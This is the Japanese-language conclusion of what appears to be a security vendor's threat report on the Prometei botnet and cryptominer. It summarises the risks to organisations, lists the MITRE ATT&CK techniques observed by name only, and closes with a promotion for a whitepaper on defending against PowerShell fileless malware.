サイバー犯罪コミュニティに属している脅威アクターは、APTライクな手法を取り入れ、活動の効率化を図っています。最近のPrometei攻撃で見られたように、脅威アクターは、最近発見されたMicrosoft Exchangeの脆弱性を悪用することで、標的となるネットワークへの侵入を試みました。今後も、サイバー犯罪集団をはじめ、さまざまな目的を持った脅威アクターにより使用される高度な手法は進化を続けるであろうことが予想されます。このため、防御者は、APTや国家レベルの行為者だけでなく、大規模なAPTグループを模倣しようとする高度なサイバー犯罪者に対しても、常に対応できる体制を整えておく必要があります。

Prometeiの手法とその構成要素の一部は、セキュリティアナリストによって検知される可能性は高いものの、それらのほとんどは、エンドユーザーが一目見ただけでは分かりません。この事実は、このような悪意ある操作を検知できるセキュリティチームと製品を用意することが企業や組織にとっていかに重要であるかを強調するものです。攻撃者は、感染したマシンを完全に制御できるため、この脅威は企業や組織にとって大きなリスクとなります。攻撃者が望めば、情報を盗むことも、エンドポイントを他のマルウェアに感染させることも、ランサムウェアギャングと手を組んで感染したエンドポイントへのアクセス権を彼らに売りつけることも可能です。最後に、暗号通貨のマイニングは大量のリソースを消費するため、それは重要なサーバーやエンドポイントのパフォーマンスや安定性に影響を与えるほか、最終的には企業や組織の事業継続性にも影響を与える可能性があります。

MITRE ATT&CKによる分類

初期アクセス
パブリックな対面型アプリケーションをエクスプロイト

実行
システムサービス
ネイティブAPI
Windows Management Instrumentation(WMI)

パーシステンス
システムプロセスの生成または変更:Windows Service

防御回避
マスカレーディング
有効なアカウント

条件付きアクセス
パスワードストア内のクレデンシャル
OSによるクレデンシャルのダンプ
保護されていないクレデンシャル
ブルートフォース

検出
システム情報の検出
システムサービスの検出
ネットワーク共有の検出
プロセスの検出

ラテラルムーブメント
リモートサービスをエクスプロイト
ラテラルツールトランスファー

C&C(Command and Control)
アプリケーション層プロトコル
データのエンコーディング
マルチステージチャネル

影響
リソースの乗っ取り

ホワイトペーパー「PowerShell攻撃(ファイルレスマルウェア)を確実に防御」

侵入後に展開するPowerShellを使用したファイルレス型マルウェア攻撃は、ここ数年、攻撃者が好んで選択する攻撃となっており、ダウンロード/実行ペイロード、APT攻撃、さらにはランサムウェアなどの攻撃に悪用されています。PowerShell攻撃(ファイルレスマルウェア)の課題とCybereasonによるPowerShell攻撃の確実な防御について詳しく解説します。 https://www.cybereason.co.jp/product-documents/input/?post_id=2121 ホワイトペーパー「PowerShell攻撃(ファイルレスマルウェア)を確実に防御」